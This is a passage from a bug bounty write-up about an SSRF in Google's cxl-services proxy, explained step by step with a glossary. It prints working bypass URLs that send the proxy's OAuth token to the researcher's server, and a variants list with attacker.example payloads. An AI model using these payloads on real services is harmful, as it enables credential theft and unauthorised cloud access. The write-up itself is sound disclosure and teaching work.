Last but not least, the researcher wrote a very simple web application using Python and Flask that returned a base64 encoded string saying `POC by xdavidhu!`. Flask is a small, popular framework for building web applications in Python. Base64 is a way of writing arbitrary data using only ordinary letters, digits and a few symbols, so it can travel safely through systems that only expect text. POC stands for proof of concept: a small demonstration that something is possible.
After some struggle and panicking, the researcher managed to deploy this little application as a new App Engine service on `cxl-services.appspot.com`, demonstrating full code execution access to the App Engine app. Deploying means uploading the application so that it runs on the provider's servers. Code execution means the ability to make your own program run on someone else's machine, which is usually the most serious outcome of a security bug. RCE stands for Remote Code Execution: running code on a machine you are not sitting in front of.
This new service was invokable using the address `https://vrp-poc-dot-cxl-services.appspot.com/`. After deploying the code, the researcher opened it in a browser and saw:
{{media:6}}
It was the researcher's code, running in an internal Google Cloud project's App Engine app. At that point all findings were reported and exploration stopped.
The Google VRP panel rewarded this issue with a bounty of $3133.70 plus a $1000 bonus for "the well written report and documenting lateral movement". VRP stands for Vulnerability Reward Program: Google's scheme for paying people who report security bugs. A bounty is the payment. Lateral movement means moving from one system to another after getting a first foothold, the way a burglar who gets into one office starts trying the doors of the neighbouring ones.
### Step 5: bypass the fix
Since there was a 90-day public disclosure deadline a few days before the disclosure date, the researcher started preparing the feed post and the YouTube video. Public disclosure means the details of the bug become visible to everyone, usually 90 days after the report, so that defenders can patch before attackers read the details. Looking at the issue report, the researcher wanted to test the fix.
Google had indeed fixed the issue from the original report, in which the `\@` characters were used to construct an address that bypasses the whitelist, such as:
```text
https://[your_domain]\@jobs.googleapis.com
```
This is the same trick as before, written with a placeholder: `[your_domain]` stands for any domain you control. The backslash followed by `@` is the exact sequence that was now blocked.
But playing around with the parser for a few minutes and putting random characters in the address, the researcher found something. If any character or characters are put in between the `\` and the `@`, the whitelist could be bypassed once again:
```text
https://sfmnev.vps.xdavidhu.me\[redacted]/
```
Here the backslash is followed by the word `anything` and only then by the `@`. The fix had been written to reject the exact `\@` pair, like a bouncer with a photo of one specific troublemaker, so a slightly different face walked straight past.
Finding this took literally a few minutes of playing with the proxy, and it resulted in getting the original bug bounty reward amount once again. It was quite insane. So, check your fixes.
On Google VRP you do not have to wait until your issue moves into `fixed` status. If you find that the code has changed but you can still exploit it, write a comment on the original ticket and you might get another reward.
### Step 6: invoke an old, unpatched version
After Google fixed the bypass and the bug was disclosed, the researcher still had the YouTube video planned. There were hours of unedited screen recordings on the computer. In April they were opened in Final Cut (a video editing program) and cut together.
In the recordings, when the versions of the `cxl-services` App Engine app were listed, there were multiple results, each indicating a specific version of the proxy:
{{media:7}}
A version here is a saved copy of the application's code. Every time you deploy, App Engine keeps the new copy and gives it a name, so you can go back to an older one if the new one misbehaves. The researcher remembered that in App Engine, using a specific address, any version of any service can be invoked:
```text
https://VERSION-dot-SERVICE-dot-cxl-services.appspot.com
```
Reading this pattern: `VERSION` is replaced by the version name, `SERVICE` by the service name, and the literal word `dot` stands in for a dot, because a hostname cannot contain extra dots in the middle. So `vrp-poc-dot-cxl-services.appspot.com` earlier meant the service `vrp-poc` of the app `cxl-services`.
To fix the issue, the product team must have pushed out a new version to the `default` service, which was the proxy. But had they left the old versions there? The researcher tried calling the old `b347699687-dev-gokulr` version, which came from the screen recording, of the `default` service, using the original `\@` whitelist bypass:
```text
https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/
```
Line by line:
- `b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com` is the address of one specific old version (`b347699687-dev-gokulr`) of the `default` service of the `cxl-services` app.
- `/proxy?url=...` is the same proxy endpoint as before.
- `https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/` is the original backslash trick, the one that had already been fixed on the current version.
And indeed, it worked. The webserver received a request with an access token in the `authorization` header. It was still exploitable. Even though the proxy version being called was old, it worked the same way: it still generated an access token and, most importantly, it did not have the original vulnerability patched yet.
Once again, the Google VRP panel rewarded this second bypass as well. So, check your fixes, of your fixes.
## Root cause
The proxy validated the hostname of the visitor-supplied `url` parameter and then fetched the same address, but the two steps parsed the address with different rules. The whitelist validator most probably followed RFC3986, where everything before the `@` is the userinfo section, so the hostname it saw was `jobs.googleapis.com`. The HTTP library that sent the request followed the WHATWG URL Standard, where `\` ends the hostname and authority just like `/`, so the host it connected to was `sfmnev.vps.xdavidhu.me`. The allow list was therefore checked against one host while the request went to another.
The same mismatch also leaked the proxy's authentication: the `authorization` header with the service account's OAuth 2.0 access token was attached to every outgoing request, including the one sent to the attacker's server. The whitelist was the only defence in front of the proxy, and once it was bypassed nothing else restricted where the request went or what credentials travelled with it.
The first fix addressed the exact `\@` sequence but not the general parsing difference, so inserting any characters between the `\` and the `@` bypassed it again. The product team must have pushed out a new version to the `default` service, but old App Engine versions of that service remained reachable through the `VERSION-dot-SERVICE-dot-cxl-services.appspot.com` routing, and those versions still contained the original vulnerability.
## Impact
An attacker who could reach the `/proxy` endpoint could make `cxl-services` send requests to an arbitrary host of their choosing, and receive the response. Because the proxy attached its own OAuth 2.0 access token to outgoing requests, the attacker obtained that token and could call Google Cloud APIs with the identity and privileges of the `cxl-services` App Engine service account.
With that identity, the researcher found some level of access to 4 GCP projects (`docai-demo`, `cxl-services`, `garage-staging`, `p-jobs`), two GKE cluster VMs on `docai-demo`, a Cloud Storage bucket holding hourly request logs of the proxy since 2017-10-18, internal `google3` file paths via the App Engine versions listing, and an App Engine bucket with container images of the proxy that could have been reversed. The researcher also deployed a new App Engine service to `cxl-services.appspot.com`, demonstrating code execution in the project. The report notes that the log files could have contained sensitive data of users interacting with the product page demos.
## Fix
Google fixed the original `\@` bypass, and after the researcher found the variant with characters between `\` and `@`, fixed that as well. The report does not describe the code changes. The old-version issue shows that fixing only the `default` service was not enough: old App Engine versions of the service were still reachable and still vulnerable, so the fix needs to cover every deployed version, or the old versions need to be removed.
## Variants to test
1. **Backslash and userinfo confusion.** On any proxy that takes a `url` parameter and checks a hostname allow list, try `https://attacker.example\@allowed.example/`. A positive result is a response from your own server instead of the allowed host.
2. **Characters between the separator and `@`.** If `\@` is blocked, try `https://attacker.example\[redacted]/`. A positive result is the same: your server receives the request.
3. **Old deployment versions.** List the versions of the service (for App Engine, the versions listing) and call each one through `https://VERSION-dot-SERVICE-dot-cxl-services.appspot.com`. A positive result is an old version still honouring the original bypass.
4. **Credential leakage.** Point the proxy at your own server and inspect the incoming headers for `authorization` or other credentials. A positive result is a bearer token or API key arriving at your host.
5. **Other URL parser differences.** Test other characters and encodings that the WHATWG standard and RFC3986 treat differently, and compare what the validator sees with what the HTTP client connects to. A positive result is a request reaching a host that is not on the allow list.
{{media:8}}
{{media:9}}
## Glossary
- **API (Application Programming Interface)**: a fixed way for one program to ask another program to do something and get an answer back.
- **Access token**: a temporary piece of text that proves identity, used in place of a password on each request.
- **Allow list (whitelist)**: a list of exactly what is permitted; everything not on it is refused.
- **App Engine**: Google's service for running web applications without managing servers; apps get an address ending in `.appspot.com`.
- **Authentication**: proving who you are.
- **Authorization header**: the standard HTTP header that carries proof of identity, such as a bearer token.
- **Authority**: the part of an address identifying the server, normally the hostname plus an optional port.
- **Base64**: a way of writing arbitrary data using only ordinary text characters.
- **Bearer token**: a token where whoever holds it is treated as its owner.
- **Bounty**: the payment a reward program gives for a valid security report.
- **Brute-forcing**: trying things one after another, systematically, instead of being clever.
- **Bucket**: a named container for files in cloud storage.
- **Code execution**: the ability to make your own program run on a machine.
- **Compute Engine**: Google's service for renting virtual machines.
- **Container**: a lightweight, packaged application with everything it needs to run.
- **Container image**: the packaged bundle from which a container is started.
- **Content-Type**: an HTTP header saying what kind of data the body contains.
- **Developer tools**: the built-in panel in a browser that shows requests, code and errors.
- **Disclosure (public disclosure)**: making the details of a bug visible to everyone, usually after a fixed period.
- **Endpoint**: a specific address on a server that accepts requests, such as `/proxy`.
- **Flask**: a small framework for building web applications in Python.
- **GCP (Google Cloud Platform)**: Google's collection of rented computing services.
- **GKE (Google Kubernetes Engine)**: Google's managed Kubernetes service.
- **google3**: the name of Google's internal code mono-repository.
- **Hardcoded**: fixed directly in the code rather than supplied at run time.
- **Header**: a named value sent alongside an HTTP request or response, carrying metadata.
- **Host header**: the header saying which website name the request is for.
- **Hostname**: the name of a server in an address, such as `jobs.googleapis.com`.
- **HTTP**: the language browsers and servers use to exchange requests and responses.
- **HTTPS**: HTTP with encryption.
- **JSON**: a common text format for structured data.
- **Kubernetes**: a system for running many containers across many machines.
- **Lateral movement**: moving from one system to another after getting a first foothold.
- **Log file**: a running record of what a program did.
- **Mono-repository (monorepo)**: one giant code repository holding the code of many projects together.
- **OAuth 2.0**: a widely used system for granting apps limited access to resources without sharing passwords.
- **Path**: the part of an address after the hostname, such as `/any/path`.
- **POC (proof of concept)**: a small demonstration that something is possible.
- **Port**: a numbered door on a computer through which a particular service is reached; 443 is the standard HTTPS port.
- **Project**: in Google Cloud, the top-level container grouping related resources.
- **Proxy**: a service that fetches something on your behalf and passes the result back.
- **Query string**: the part of an address after `?`, holding named values.
- **Rate limiting**: refusing to answer after too many requests in a short time.
- **RCE (Remote Code Execution)**: running your own code on a machine you are not sitting in front of.
- **RFC3986**: a generic specification for the syntax of Uniform Resource Identifiers.
- **Service account**: a non-human account belonging to a program rather than a person.
- **Specification**: a written rulebook describing exactly how something must behave.
- **SSRF (Server-side Request Forgery)**: a bug where an attacker makes a server send requests to an address of the attacker's choosing.
- **Token**: a short piece of text standing in for a password.
- **URI (Uniform Resource Identifier)**: a general name for an address of a resource; a URL is a kind of URI.
- **URL**: the address of something on the internet.
- **URL encoding**: writing special characters in an address as `%` followed by two characters, so they are not mistaken for syntax.
- **User-Agent**: a header identifying the browser or program making a request.
- **Userinfo**: the optional username (and sometimes password) before the `@` in an address.
- **UTF-8**: a way of representing characters as bytes.
- **Version**: a saved copy of an application's code, kept so you can go back to an older one.
- **VM (virtual machine)**: a computer running inside a bigger computer, rented by the hour.
- **VPS (virtual private server)**: a rented computer on the internet.
- **VRP (Vulnerability Reward Program)**: a scheme for paying people who report security bugs.
- **WHATWG URL Standard**: the specification for addresses that modern browsers implement.
- **Whitelist**: see allow list.